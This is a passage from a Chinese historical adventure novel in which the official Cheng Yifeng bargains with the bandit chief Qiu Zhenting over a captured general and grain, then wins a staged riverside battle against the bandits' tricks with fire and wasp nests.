定睛细看着二十余山贼,个个黑巾蒙面。程亦风叫小莫扯了去,小莫直摸得满手湿滑,凑到鼻子跟前闻一闻,竟是溺骚味,惹得他五官差点儿扭在一处:“呸,蟊贼!你们想出这等害人的毒计,最后还得自己在脸上蒙些屎尿,活该!” 山贼们有些垂头丧气,有些却满面不服。为首的那个,程亦风认出,就是邱震霆了,虎目圆睁:“废话少说。老子今天落在你的手里,要杀要剐随便你。不过除了杀剐,其他的条件你甭想老子答应——老子啥都没有,就有一条烂命,丢了就丢了。” 程亦风一愕,未想到这土匪竟撒起赖来了。不过,这也应该在意料之中的——土匪嘛,难道还能讲仁义礼信的?他便不硬逼,劝道:“邱兄豪气干云,程某佩服得紧。不过人命不论贵贱只有一条,死却有轻于鸿毛,也有重于泰山。邱兄一世英雄,怎么能随随便便就丢掉性命呢?” 邱震霆对这番半文不白的话不甚明白,只马马虎虎听懂了后半句,就“哼”了一声道:“少来奉承俺。俺邱震霆不是臭当官的,不吃你们那一套。你要杀俺就快杀。反正俺山上还有的是兄弟,他们不见了俺,自然杀了那姓冷的老匹夫来给俺陪葬。一命抵一命,俺做强盗的,只求不赔本就行。” 程亦风听他完全是无赖口吻,软硬不吃,心想,无赖恐怕还得无赖磨,我早年流连市井,难道无赖还见得少么?当下笑嘻嘻往邱震霆跟前一坐,道:“我说邱老兄,没见过你这么不会算帐的强盗。哪儿有只求不赔本的说法呢?再说了,冷千山是什么人?你自己都说了,他不是个好东西——要我说,他根本就不是个东西!你为这种人丢了性命,你值得么?” 邱震霆一听,愣了。周围的将士也都面面相觑——他们晓得冷千山向来和程亦风对不上眼,而程亦风除了难得的那一次“发威”之外在朝堂上是个人人都可欺负的闷葫芦,不想今日说出这种粗鄙之言来,实在是让人诧异万分。不过再转念一想,就知道程亦风是故意使的激将法。 邱震霆乐了:“哈,有意思。这姓冷的的确不是个东西。不过,你要这个不是东西的家伙做什么呢?” 程亦风不料此人还颇有些头脑,便继续嬉皮笑脸道:“邱兄不在官场,不知道官场中的事。这姓冷的在皇上面前常常找我的麻烦。邱兄若把他交给我,我自然要寻他的晦气,找他报仇。” 邱震霆呵呵笑道:“原来是这样,你不早说?寻人晦气可是老子的专长。这割鼻子、挖眼睛、剥皮、抽筋就不说了,还有灌马尿、塞大粪、烙铁裤,点天灯……嘿,俺有九九八十一种寻人晦气的法子,一定比你这书呆子在行。不如你就把这不是东西的家伙交给俺,俺收拾他,你看,怎样?” 程亦风一呆。邱震霆就哈哈大笑起来:“程大人,你不要装了。你的事,俺都跟姓冷的手下打听清楚了,你是个万里挑一的好官,公报私仇的事你做不出来,不用激俺啦。” 程亦风不禁哑然,进而苦笑道:“既然邱兄早知道,又不吝赠我‘好官’二字,更晓得我此来目的,何不与人方便自己方便,非要为难程某人呢?” 邱震霆道:“俺开始并不太晓得,以为你的人马也是来征兵的,所以昨天放烟熏你,不过后来打听清楚了,今天特来试一试,看你是否真像他们讲的那么好,能为敌手犯险。” “那你现在看清楚了?”程亦风道,“可否就放了冷将军,也归还朝廷的粮草呢?” 邱震霆狡黠地一笑:“程大人,你方才说了,咱做强盗的也不能光求保本。俺今要是把姓冷的和粮草都交给了你,那老子岂不赔大了?这样吧,让你两样挑一样,是要领回粮草,还是要领回那不是东西的狗屁冷将军,程大人选吧!” 他话音未落,周围的士兵已经嗡嗡地骂开了,说,哪有这个道理,你人在我们手里,是我们砧板上的肉,还敢讲三讲四地谈条件?看我们先剁了你,再上山去杀光了你的狐群狗党。 邱震霆毫无惧色:“杀就杀,老子还怕你们不成?杀了老子,杀了老子这里的兄弟,却杀不光我们山寨。鹿鸣山是老子和弟兄们的天下,咱总有人能杀了姓冷的陪葬,也总有人能拿了粮草继续跟朝廷的狗官们作对,你奈我们何?” 士兵们一听,更加火冒三丈捋袖子磨拳头,就想上前把邱震霆教训一通,尤其,这中间有不少人都深受毒烟之苦,恨不得能把邱震霆闷到个毒烟罐子里才解气。 可这当儿,程亦风却静静地发话:“邱大侠,你方才所说的条件可是当真?” 邱震霆望他一眼:“大丈夫说话算话,否则就是娘们!” 程亦风道:“好,那我选冷将军。” 众人都是一愕。程亦风道:“程某可放邱大侠和这些好汉们归去,但是你们一定要让冷将军毫发无伤的回到程某的军营里。”说着,从小莫手里拿过刀来,“哧”地割开了邱震霆身上的绳子。 邱震霆本想给他出难题,未料他竟一口答应,而且当即松了绑,也愣了半晌没说出话来,直愣愣地盯着程亦风看。而这一晃眼的工夫,程亦风倒“哧啦哧啦”把二十来个山贼都松开了绑。 士兵们纷纷道:“程大人,不可!不可纵虎归山哪!” 可程亦风却是不听,把人放完了,刀一丢,立等邱阵容内霆表态回话。 邱震霆活动着被捆疼的手臂,呼哧呼哧喘着气,末了,把头上的帽子一摘,甩在了地上,道:“他奶奶的。程亦风,姓冷的没骂错你,俺也没看错你。你是条好汉。这交易俺跟你做了——”他回头招呼那些手下:“你们这就回山上去,把姓冷的和他的手下都押下来还给程大人。” 山贼们都称“是”,转身而去。程亦风就叫士兵们让开道路。而邱震霆却动也不动。 程亦风道:“邱大侠,你也可以走了。” 邱震霆一摇头:“俺不急。程大人不晓得,俺的手下都是粗人,恨透了四处拉壮丁的狗官。叫他们放了姓冷的,他们少不了发脾气。俺先留在这里,倘若姓冷的叫他们在半途中杀了,俺也砍下自己的脑袋来,总不失信于程大人就是。” 听此言,程亦风对这山贼不禁添了几分佩服。旁边那些担心白忙活的士兵见有人质在手,也才稍稍放下心来。 约莫过了一个时辰,见山上火光点点,一条队伍缓缓而行。前方士兵看了来回报,说是冷千山一行,被山贼用绳子捆成一长串儿,牵着过来了。这话刚说完,冷千山的骂声也到了程亦风耳边:“姓程的,皇上让你发兵来救我,你却串通山贼,侮辱于我,你眼里还有没有圣上,有没有王法?” 程亦风早料他会发作,并不理会。 邱震霆却啐了一口大步上前去骂道:“老匹夫,嘴里不干不净说些什么?今天如果不是看了程大人的面子,俺邱震霆早就把你大卸八块儿了。” 冷千山连日来想是吃了他不少苦头,被这一喝,已短了三截,但仗着到了楚军之中是自己的地盘,又向周围的士兵呼道:“还不快把这些土匪拿下了?劫持军饷,视同欺君,是诛九族的大罪,可就地格杀!” 他形状虽狼狈,但好歹是个将军,有些士兵被他一喝,本能地就朝邱震霆和负责押送的山贼围了上去。然而程亦风一声断喝,将众人止住了:“谁敢动?你们是我楚国的将士,土匪尚且守信,你们难道要做弃义之人?” “混帐!”冷千山大骂,“程亦风,你跟土匪讲信义,却置朝廷威仪于不顾,你也要犯欺君的大罪么?” 程亦风冷冷一笑:“欺君大罪——我正要和冷将军议一议呢。将军自称要去平崖,怎么往远平城方向走?此其一。又,粮食一经上缴到各州府,不管有否在漕运司入册,就已经是国库库粮,如何调度该由各部同户部商议,禀奏皇上,批示后方可调粮。若有人不上报朝廷,先就运走了粮食,这又是什么罪呢?此其二。另外,说是去赈灾,却运到他处不知做何用场,此其三——这个叫不叫欺君?程某不才,冷将军是想跟程某一同回去请教獬豸殿的大人们,还是刑部的大人们?” 一席话,说得冷千山脸上一阵红一阵白。 程亦风知道日后一朝共事,还得留点余地,于是不再说下去了,只吩咐士兵:“快把冷将军和这些将士们带到营里去休息。”等到这一队人都走远了,才向邱震霆一拱手:“邱大侠,果然是言出必行的好汉子,程某先谢过了——不过,这粮草——” 邱震霆哈哈大笑:“就知道你这个穷酸书生忘不了这茬儿。粮草俺不给你。有本事你就光明正大,明刀明枪的跟老子干一仗,把粮草抢回去。没本事,你就带着姓冷的回去,把错都推他一个人身上拉倒。” 程亦风望着这黑汉子,摇头苦笑:“邱大侠,你明知我会怎样答复,何必还多此一问?” 邱震霆拊掌而笑:“问了心里才有个准儿。程大人,俺邱震霆今天落到你的手里是俺的运气,要是能跟你堂堂正正地打一场,更加是俺的福气了。咱为的主子不同,你为了皇帝老子,俺为了俺的弟兄们,要不然,我倒是想请你喝几坛酒!” 程亦风拱了拱手:“程某量浅。几坛不行,几杯还凑合。待程某夺回粮食,希望邱大侠能不计前嫌,跟程某喝一杯。” 邱震霆搔着后脑勺:“呀,你这书生口气还不小。俺还没跟你打呢,你倒吃准了能抢回粮食去?你就不怕俺的毒烟……”才说着,猛吸了几下鼻子,惊讶道:“这……这毒烟怎么……这么快就散了?不对,老子的面罩早被你们拉下了,也没闻到毒烟,难道你……你竟想出了法子?” 程亦风笑笑算是默认,又道:“所以毒烟不可再用了。至于梅花鹿,我看邱大侠也不用折腾了。你们在山上辛苦采些井盐都拿来驱鹿了,我却可以从盐运使那里调盐过来,就是把全山的鹿都腌成鹿干也绰绰有余了。” 邱震霆张大了嘴:“他妈的,算你厉害。不过就跟你这样的人较量才有意思。老子就跟你打这一仗。” 程亦风道:“好。”一伸手,恭送邱震霆一行离去。 众将士见他如此,无法理解:“大人,你真的要跟他打?打仗哪儿有您抓了这个匪首逼他的喽罗们交出粮食来得便当?” 程亦风摇了摇头,幽幽道:“不是打仗,只是同他较量较量,叫他服气。我看他这个人,软硬都不吃,手下也都是亡命之徒,就算我们把他们抓了要挟山上的伙伴,也还是要打一仗。到时候就不是较量,是拼命,难免有死伤。反而,大家明着交交手,分个胜负,我只消再次把他生擒来,叫他心服口服,以他守信义气的个性,必然会将粮食完璧归赵。” 众人一听,这叫什么论调?简直是把战争当成了儿戏!“山贼的承诺如何能信?” 程亦风道:“若不能信,冷将军方才是怎么全身回来的?” “方才自有那个姓邱的匪首在我们手上,如今大人纵虎归山,万一……” “若有万一,再剿灭他们不迟。”程亦风道,“宁可纵了恶人,咱们重新撒网再抓,也不可枉杀了好人——这些山贼多年来居住此地与百姓相安无事,可见他们并非杀人越货的屠夫。” 众人看多半是劝不动只有想:反正实力悬殊,兵法说“十则围之”,三千大军还能生擒不了几个土匪? 这个道理程亦风当然也知道,但是他明白,要叫邱震霆心服,便不可以多为胜。 这时已到了黎明时分,程亦风知道大家都累了,就吩咐回营休息。他自己则边散步,边考虑着对策。且想且走,不留神脚下踩着一件事物,一个趔趄摔倒下去,满身一片冰凉,这才发现是踏进了昨天布置的一只木桶里,内中未知是鹿溺还是马尿泼了满身,不禁失笑。 而这时就听旁边有一人笑道:“大人早!”回脸一看,正是采药老者:“大人自己布了个阵,破敌之外连自己也中了招儿,不过大人穿着这一身衣服出去,恐怕再也不怕毒烟了吧?” 程亦风再狼狈,也要顾全礼数,赶忙也起身长揖为礼:“多承老先生指点。” 老者笑了笑:“我只教你用溺尿化解毒烟,可没教你放这么多便桶在军营里——你这招儿比山贼用秽巾蒙面干净些,效果却慢,孰优孰劣,老朽不便评说。不过,以老朽的浅见,能看家护院的就是好狗,能抓耗子的就是好猫,两方对垒,能赢的就是好计。” 程亦风躬身道:“老先生教训得是。” 老者摆手道:“老朽何敢教训大人?大人也不必‘老先生’长,‘老先生’短了。总算你我有缘。老朽复姓公孙,名叫天成。” “公孙先生。”程亦风又一揖,“晚生有礼了。” 公孙天成捻须而笑,也抱拳还了礼:“程大人两宿未睡,这时还不合眼,莫不是还在思考对付山贼的计策么?” “正是。”程亦风有心要问可有制服邱震霆的良策,但想起先前公孙天成教训过,说凡事要靠自己悟出来,话到嘴边又咽了回去,转而道:“先生久居此地,可知这伙山贼的底细么?” 公孙天成道:“的确知道一些。他们号称‘杀鹿帮’……”边说边在沙地上写下了这三个字。 “杀鹿帮?怎么叫这么古怪的名字?” 公孙天成道:“天下无主,群雄逐鹿。而这伙山贼却不在乎鹿的死活,只要抓来宰了,吃下肚就好,是为‘杀鹿’。不过,这是从前的帮主取的名字,如今的这个邱震霆帮主则是一介莽夫,除了善战之外,并不晓得这许多典故了。” 但他的所作所为倒有“杀鹿”的意思,程亦风想起邱震霆早先关于皇帝与天下的一番议论,故尔有此感慨。 公孙天成接着道:“邱震霆为人很是仗义,身边颇集结了一批能人。比方有一个是妙手神偷,天下千奇百怪的锁都难不倒他;又有一个能学百兽百鸟的叫声,通晓鸟兽习性,对畜生可以招之即来,挥之即去;还有一个人吹牛不打草稿,骗人从不脸红;另外一个,想来大人也领教了他的厉害,就是那发明毒烟的,此人精通奇门盾甲、阴阳五行,除了造些毒药外,也是山寨的医生。” 可真开了眼界!程亦风感叹道:“旁人看来是鸡鸣狗盗之徒,却可以把冷将军的一支军队和四十万石粮草都缴了去,实在不可小觑。” 公孙天成点头:“不错。老朽早也说了,手段无所谓高下优劣,只要达到目的就行。大人要对付这伙鸡鸣狗盗之徒,又要使他们败得心服口服,恐怕也得用点儿鸡鸣狗盗的计策。” 程亦风哪儿料到公孙天成把话题引回来了,且连自己的意图都猜得一清二楚,机会难得,他赶忙行了个大礼:“公孙先生,你可有什么妙计指点晚生一二么?” 公孙天成呵呵一笑:“大人还记得我那‘呦呦鹿鸣’的歌么?这最后一段是怎么唱来着?” 呦呦鹿鸣,山有茅亭,世有隐者,不做嘉宾。这是隐居终南,东篱采菊,不愿入世的意思。 公孙天成晓得程亦风一点就透,也便不把歌谣重唱一回了,只道:“若要人服气,以彼之道还施彼身。仗义的邱震霆已经被大人收服了,剩下鸡鸣狗盗之徒,盗贼、兽语者、骗子、术士,大人打算怎么各个击破呢?” 啊,各个击破,以彼之道,还施彼身!程亦风心里犹如电光火石般一闪。 “多谢先生……”他这一揖才作下去,公孙天成已背着药篓走远了,留下一串山野的歌谣:“铁钉须用铁锤敲,木楔还得木槌砸。梁上君子喜开锁,终把监牢当做家。百兽之语虽可通,虫豸怎能懂你话?颠三倒四舌生花,当心法螺吹破你变成个矮冬瓜。哎呀呀,你要听仔细,仔细听,五行本来由天定,聪明人要引火烧了自己的头发。” 公孙天成对程亦风面授机宜的时候,邱震霆也回到了山寨里见他的弟兄。杀鹿帮一共有帮众一百七十三人。有福同享,有难同当,同进共退,不求同年同月同日生,但求同年同月同日死。被公孙天成所点评道的那几位“鸡鸣狗盗”之徒,其实就是他山寨的另外四位当家:二哥诨号“管不着”,最擅妙手空空之术,过去以摸人荷包为乐,自来到鹿鸣山后,但有弟兄劫来宝箱宝匣的,都请他开锁。三哥本姓侯,因喜爱训练鸟兽,又可驱鸟兽为己用,得了个雅号叫“猴老三”。四哥诓人有术,自谓“骗死人不偿命”,本名已不为人所识,只称他做“大嘴四”。至于五哥,本是个女人,且是猴老三的老婆,只因山寨中叫惯了“哥”,大家也就不计较,她最喜欢熬煮毒药,设计机关暗道,不过本帮兄弟有个头疼脑热,她也能药到病除,此外她还足智多谋,是以得了个绰号“辣仙姑”。 邱震霆言道自己要和程亦风光明正大地打一场,然而鹿鸣山地形复杂,如果在山里打,就占了别人的便宜。不过,如果出了山,又等于失去了天然的屏障,他虽信程亦风,却怀疑冷千山会搞些小动作。所以再三考虑之后,他决定在大青河支流“鹿角溪”背山面水和程亦风公平一战——由他提供船只供楚军渡河,这样也可以控制对方的人数,同时防备冷千山。 “你们几个觉得如何?”他问。 几位当家都摇头:“大哥,这可不行。单看姓程的今天不费一兵一卒就把那姓冷的给救走了就知道他是个狡猾的家伙,你跟他堂堂正正,他可不见得跟你光明正大。” 邱震霆拍着桌子:“这姓冷的成天骂程亦风的祖宗十八代,恨不得能把他剁了喂狗。而程亦风今天完全可以不理这人的死活,只带了粮草回去向狗皇帝请功领赏。可他却宁可救了冷草包的性命——这种胸襟,这种肚量,这种——那个啥,以德报怨,他决不是不守信的人。” 四人知道大哥的牛脾气上来,劝也劝不动,只好退出来,自己先商量。毕竟那辣仙姑足智多谋,不一会儿就有了主意,跟另外三人如此这般地讲了一番,他们无不赞好的:“只要瞒住了大哥,表面上看起来光明正大就可以!”计议定下,就各自去办。 如此忙碌了三天,到了邱震霆和程亦风讲定的时间。一大早,邱震霆就点了一百二十名兄弟开赴鹿角溪,嘱咐其他的四位当家带着余下弟兄们守护山寨的安全。走到半山腰时,他把一百二十人编成了六组,每组二十人,其中五组跟他下山去鹿角溪畔,还有一组绕路到溪水上游,暗中渡水绕到程亦风军后。 这话才吩咐完毕,就听辣仙姑在后头笑道:“原来这就是大哥的异军突起。可是你跟人家约好了要用相同的兵力交战,你这样到了鹿角溪边,程亦风看你只有一百人,便也只能出一百人跟你打,如何晓得你还有二十人预备偷袭他,岂不是不公平?但要是你告诉他你带了一百二十人,你又怎么解释那二十人的去向?” 邱震霆愣了愣,跟着嘿一笑:“老五,这你可难不倒俺。”当即将一百人重新分成三个十六人组和两个十七人组。外头看都是长四横五的方阵,但内中却有空挡。“我听说,以前有些将军出门打仗,动不动就号称自己有八十万大军,其实不过才二、三十万人。”邱震霆道,“要是天色暗些,还可以拿稻草人充数,变出一百万大军,没交手,先就把对手吓破了胆。” 辣仙姑听了笑道:“真搞不懂你们这些男人,都是使诈,有些就叫光明正大的比试,有些又要叫做阴险毒辣的勾当。” 邱震霆道:“所以行军打仗就不是女人的事。不过,你刚才问的那个问题很简单——跟正人君子比试,用的就是光明正大的计策;跟卑鄙小人交手,就可以使些阴险毒辣的无赖招数。” 得!辣仙姑心道,说了跟没说一样。不过她脸上还是笑嘻嘻的:“大哥,山上无聊得很,我跟你看看热闹怎么样?” 邱震霆哈哈一笑:“好啊,不过你要自己顾好自己,少了根头发俺就不好同老三交代了。” 辣仙姑腰一叉:“哟,谁敢动我一根寒毛呢?”笑着跟了上去。杀鹿帮的人熟悉山路,约莫走了一顿饭的工夫,就到了鹿角溪边。 众人一看,程亦风也带了六个横四竖五的方阵共一百二十人。大约是到得早了,已经用预备好的船只渡过了溪水来,现下整整齐齐将阵摆在溪旁。 邱震霆令手下在山前立住,对程亦风遥遥拱了拱手,又向身边的人道:“果真是个守信的。读书人不是奸诈就是迂腐,他就不一样。”而旁边的辣仙姑却在心里冷笑:“这还不迂腐么?说是对等兵力,还真的只带一百二十人,又背水摆阵,自断后路,简直是傻瓜才做得出来的。不过……要是此人假迂腐真奸诈,大哥可要吃大亏了。幸好我早有准备!” 双方阵势都摆定。看那边程亦风一举手,战鼓声响,楚军就像是点将台阅兵似的,步伐整齐地压了上来,第一排都是拿长枪的,第二排往后多使军刀,明晃晃的,横在胸口的同一个高度,连成一条线。 邱震霆这边抓了抓脑袋:没见过这种打法! 辣仙姑也皱着眉头想不通:这姓程的到底是真蠢材还是老奸巨滑?不过她正纳闷的当儿,听头顶上“戛戛”呼声,一只青鹞正盘旋欲下。她识得这是猴老三所驯之物,按照两人先前约定的暗号,这表示猴老三和大嘴四已经部署好了。 辣仙姑心里很是高兴,盘算有了这么厉害的后着,便不用担心程亦风在鹿角溪使诈。当下对邱震霆道:“大哥,看来姓程的是真的要和你堂堂正正地打一场,就叫他瞧瞧咱们杀鹿帮好汉的厉害。” 邱震霆道:“难道俺还跟他客气吗?”大掌一挥,吆喝道:“把箭战给省了!兄弟们,上!”土匪们这几天来议论不止,都认为是书呆子冤大头送上门来,早等得不耐烦了,听令,全哇哇乱叫,挥舞着棍棒刀枪杀将过去。 邱震霆打仗一向身先士卒,一开打,立刻就混到战团中去了,辨不出人。辣仙姑是女子,站在后面观望,看程亦风也是不亲自上马的,楚军把船只在溪水中扎成一座简易的水寨,程亦风就在水寨上居高临下地指挥。辣仙姑暗笑:真是一阵风就能吹倒他! 交锋还没一刻工夫,只见水寨上的程亦风向身边的一个小校说了句什么,便有金声刺穿了战场的混乱。杀鹿帮的人还未明白是怎么一回事,楚军就已迅速地向水边退去,连帅旗也不要了,红的黄的,大大小小丢得满地都是。邱震霆高声呼:“弟兄们,给我追着打!” 土匪们早就杀来了劲儿,何用他吩咐,连喘息的机会都不给楚军,眨眼的功夫已把敌手逼到了水寨上。楚军退无可退,前排的人架起盾牌,支起长枪,而后排的军士则弯弓搭箭,向杀鹿帮的土匪们射来。众土匪赶紧举起盾牌防御,邱震霆自己向来不喜带盾牌,这时上不得阵前,骂了句粗话,从背后拿过弓箭来,拉满了,瞄准水寨上程亦风的脑袋,但放箭时却把手稍稍抬高了些,“嗖”地过去,不偏不倚正挑去了程亦风的冠帽。他瞧见程亦风身边的小校惊慌得手脚乱舞,连拖带拽,要把程亦风拉下去。 这可好,邱震霆想,他瞧不清阵前的动静,看他还怎么发号施令。 可是程已风跟小校纠缠了片刻,竟好似呵斥一般,把小校赶了下去,自己还立在水寨上不动。 邱震霆大为诧异。杀鹿帮的众土匪们有些原在拍手叫好,看这情形都怒骂道:“不知死活的书呆子,我们老大放你一条生路,你倒不识好歹!看爷爷射穿你的脑瓜子!”乱糟糟的,真有好几支弓箭瞄准程亦风。 “不许射!”邱震霆喝道。“他奶奶的!”仿佛喃喃自语,“这小子还真有几分胆识!” “大哥!”辣仙姑也来到了阵里,“射人先射马,擒贼先擒王。趁现在把这姓程的拿下,咱们就赢定了。” 邱震霆直摇头:“不行。俺跟他约定光明正大的比试,就是为了要叫他输个心服口服。把他射死了,还怎么服俺?谁都不许害他的性命!”说着,命令手下继续朝楚军的盾牌阵放箭。 辣仙姑急得咬牙又跺脚:这个傻大哥,还敬重那姓程的!不晓得人家有多奸诈,就是吃准了你不敢杀他! 担心再僵持下去就延误了战机,辣仙姑“呼”地扯下了自己的披风,露出一身焦黄色的藤甲,纵身跃出阵来,叫道:“大伙儿别耽搁了,咱们这就冲过去!” 众人无不大惊,尤其当看见楚军如蝗箭矢朝辣仙姑飞过来,邱震庭赶忙也跳出了军阵,挥起大刀来替她化解。可是辣仙姑毫无惧色,身上的藤甲更有如神器,利箭飞来,才碰到藤甲上,就向旁边滑开,根本伤不得她分毫。邱震霆和杀鹿帮的诸位看得目瞪口呆。不多一刻,那边楚军也看出端倪来了,放箭的速度大大减慢。 辣仙姑高声对帮众道:“大伙儿莫奇怪,这藤甲上涂了我秘制的油脂,可以刀枪不入。而你们的盾牌上也早涂了这种油,不信你们瞧一瞧!” 众人听了,有的就翻过盾牌来看——别说连一支箭也没插进去,就连凹痕也不见,登时大喜。 辣仙姑道:“楚军的盾牌也是刀枪不入,不过他们的盾牌是铁铸的,根本不能拿着作战。咱们就不同了,且冲上去,看他们能把咱怎样!” 众人纷纷道:“不错,打他们一个落花流水!”即以盾牌开道,又向溪边水寨进发。 不多时,杀鹿帮开到了水寨跟前。水这的楚军虽然盾牌防线依然连成一片,但船只已经解开了,这时迅速分散,向对岸撤离。杀鹿帮的人见状都骂道:“胆小如鼠,见到爷爷们就吓得尿裤子了!”又问邱震霆:“大哥,追不追?” 邱震霆思索:“按理是该乘胜追击,但是船只咱都藏在上游,恐怕取了船已来不及了。” 辣仙姑听了,道:“大哥,这盾牌不怕水可以当成船划过对岸去。” 邱震霆喜道:“老五你可真是高明!”当下命令帮众们渡水。杀鹿帮诸人本来熟悉水势,哪里有暗流,哪里有礁石,哪里深,哪里浅都知道得一清二楚。加上他们一人一盾,各自为阵,行进速度比楚军的船只还要快了许多,转眼就撵上了楚军的队伍,有勇猛的,挥刀向船上力劈。 邱震霆也找了面盾牌来准备渡水,临行,将这边剩余的部众交给辣仙姑。无意中,他望了一眼鹿角溪的水面,只见上面浮了厚厚的一层油脂,太阳光一照五彩缤纷,即道:“老五,盾牌上的油都叫河水洗下来了,不会泡坏了没用吧?” 辣仙姑道:“大哥尽可以放心,这些盾牌上的油都涂了七七四十九道,里面的涂层早已坚硬如石,外面的浮油泡掉一些也不打紧。” 邱震霆便放下心来,将盾牌往水里一掷,飞身纵了上去,这一借力的功夫,已向水中央驰了一丈多远,接下来以刀为桨,他划得飞快,小“舟”自然也驶得飞快,眨眼便追上了大队人马。 可这当儿,只听岸上辣仙姑叫了声:“大哥,不好,快叫大伙儿跳水!”邱震霆还未反应过来,便觉得有热浪扑面,才要定睛看看是出了什么状况,烈烈火舌已舔到了他的面前。他一惊,本能地挥动两臂护住面门,低头看脚下的水面火焰流动,盾牌也烧了起来。 “他奶奶个熊!”邱震霆怒骂一声,跳入水中。旁边“扑通、扑通”之声不绝于耳,乃是杀鹿帮的众人遭了火,纷纷落水。 邱震霆猜到了,必是程亦风那边见到水面浮油就下令火攻,气得直骂自己疏忽大意。这时由于水面上流火不断,人根本都无法泅游,只能潜水避难而已。邱震霆想,这样子即使勉强攻到对岸也只有被楚军宰割的份儿,因而疾呼:“兄弟们,撤!” 并不知道水中有多少人听到了他的号令。他在危急只下只能憋住一口气朝岸边疾游。实在忍不住了,才出来换口气,却陡觉头上噼里啪啦,仿佛落雨,迅速地仰脸看看,却立刻被浇了满脸泥——原来是已经抵达对岸的楚军正用几架简易的投石机朝鹿角溪里抛洒泥土,泥土打到流火之上,火势立刻减弱,没得半柱香的工夫,鹿角溪固然成了烂泥汤,但水面上的火也熄灭了。杀鹿帮的各位泡在泥水里,虽然满头污泥狼狈不堪,但却没有受什么重伤。邱震霆晓得是程亦风救了自己,又是羞愧,又是挫败,种种滋味齐上心来,无处发泄,终狂叫一声,振臂狠狠在水面上敲了几下:“奶奶的,算你厉害!” 这时就真的只能指望那“异军突起”了。辣仙姑精心策划的刀枪不入的神兵竟给人烧得屁滚尿流,她愣了好半天才回过神来,蓦听到头顶上又有“戛戛”鸟鸣,这次望见一只黑鹞子,知道是猴老三和大嘴四已经带了人开到程亦风身后了,精神便为止一振,号令道:“弟兄们,打起精神来,四当家带着人杀到姓程的背后去了!” 土匪们听她此言,都透过溪上未散的硝烟,朝对岸望去,果然看到树林里有旗帜飘动 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大嘴四又喊道:“你才区区百人,而我在这林中就已埋伏了五百。况且此间离你的大营还有四、五里的路程,我把你围得铁桶一般,你连个求救的信也报不出去,你忍心看着你的兵士全军覆没么?” 依然不见程亦风出面,楚军中的议论倒响了些,似乎军心大有动摇,辣仙姑笑嘻嘻对邱震霆道:“大哥,这叫不费一兵一卒,骗人投降。我知他方才灭火救你,你心里觉得欠了他一个莫大的人情。我如今也不伤他手下,总算两下里扯平了吧!” 邱震霆始终偏好明刀明枪地决一胜负,现在是没有办法的办法,沉默不语,良久,才道:“你和老四这样骗人,牛皮也吹得忒大了些。万一他营里士兵发现,赶来增援,老四的人不是全要落在他手里?” 辣仙姑嘿嘿一笑:“大哥,这事咱早就计划好了。这会儿二哥早就到兵营里把姓程的官印兵符给偷走了。以二哥的身手,要在偷一身楚军的衣服简直是易如反掌。他大约已命令楚军按兵不动了。现在姓程的是我们的瓮中之鳖。” 邱震霆一愕,才晓得自己背后被兄弟“算计”了,想发火,又清楚兄弟是为了自己好,张着嘴巴发了半天的呆,一句也没说出来。 这当儿,大嘴四已经第三次劝降了:“兀那楚军将领,我家大将军看得起你,不想害你性命,但你未免太不识好歹了。我再给你最后一次机会。鼓声一停,我可要叫人收拢包围了!”说时,举起一只手,那林中果然就响起了雷鸣般的鼓声。 “这要是程亦风不投降怎么办?”邱震霆头上冒汗,“也不能一直这样擂下去吧?” 而这时候,就听一阵喊杀声,水上游杀下来一支队伍,就是他先前安排的那二十人,在战鼓声中,他们显得来势分外汹汹。 辣仙姑见了,喜道:“大哥,他们来得可真是时候,虚虚实实,现在姓程的可不知道究竟树林的伏兵是真是假了!” 邱震霆一想,可不,便赞了辣仙姑一句:“老五,你可真不愧是咱们的仙姑。” 他们这里说话时,那边楚军已有所行动——未如他们所愿的缴械投降,而是迅速地散开阵形,向突袭来的二十人包围而去,只不过眨眼的工夫,已经将二十人团团围住。 河这边的邱震霆辣仙姑等人大惊失色,河那边的大嘴四更是愣得一时没反应过来该做什么——程亦风若非吃准了树林里没有伏兵,怎敢有如此打法? “放箭!快,放箭!”邱震霆火急火燎地招呼手下,“逼退楚军,千万不能叫弟兄们遇险!” 杀鹿帮的土匪们最重兄弟义气,哪用人吩咐这些?早就弯弓搭箭“嗖嗖”朝溪对面射去。可是鹿角溪虽然名“溪”,却实为大青河支流,辣仙姑给选的这个决战之场更是接近两水汇合之处,水面宽阔,箭矢纵然过得河去,也成了强弩之末。更兼,楚军临河的将士还支起了盾牌来,杀鹿帮众人费了半天的力气,却伤不得他们分毫。 这如何不急坏了邱震霆:“再不过去就完了!” 但辣仙姑拽住了他:“大哥,姓程的或许只是试探四哥的虚实,咱们如果先乱了阵脚,等于不打自招,告诉他林子里没埋伏人,你先看一看,我们家老三还埋伏着呢。” 邱震霆的性子,怎么忍得下去,任辣仙姑死拖活拽,他还是要往溪水里跳。幸亏这时候听那林子里鼓声之外又响起了蹄声,不多时,百余头梅花鹿仿佛大难临头似的狂奔而出,直朝楚军的队伍闯去。 邱震霆见了,怒道:“说好了不用鹿来打仗,怎么你又叫老三赶了这些畜生来?” 辣仙姑道:“大哥,到了这时候还计较这些么?何况,梅花鹿不是老三赶的,后面的那些才是。” 邱震霆闻言定睛看,不觉出了身冷汗,原来那鹿群后面还跟着不少龇牙咧嘴的豺狼野狗,有了这些猛兽的追逐,无怪梅花鹿要逃命了。 “唉!”黑汉子长叹一声,“俺邱震霆难得想和什么人堂堂正正地比试,现在又要使出些卑鄙的招数来!我看即使胜了,也没脸去见人了。” 辣仙姑摇头:“大哥,这当儿,先保住了咱们杀鹿帮再说后话。” 邱震霆知道这是正理儿,但无心听了,一屁股坐到了地上。 辣仙姑一刻也不敢放松,紧紧盯着对岸看,只见楚军士卒不知何时头盔上都拉下纱罩子来了,她心里才犯嘀咕,便有几个圆溜溜的事物划空飞过,掉在兽群之中落地开花,跟着,那野兽就好像着了魔似的,四散逃窜。 辣仙姑不由得心下骇异:莫非这姓程的还会使妖法不成? 再细看,大嘴四和后面跟着的五个弟兄都手臂乱舞,抱头疾逃。辣仙姑这才依稀看明了,兽群里遮天蔽日的全是黄蜂!那么方才楚军投下的事物,不问而知,必是蜂巢无疑了! 黄蜂尾针有剧毒,通晓药理如她,怎不晓得?再顾不上战局的输赢,不知丈夫身在何处,是否安全,她失声痛呼道:“老三!”而一片混乱之中,哪儿有人回答? 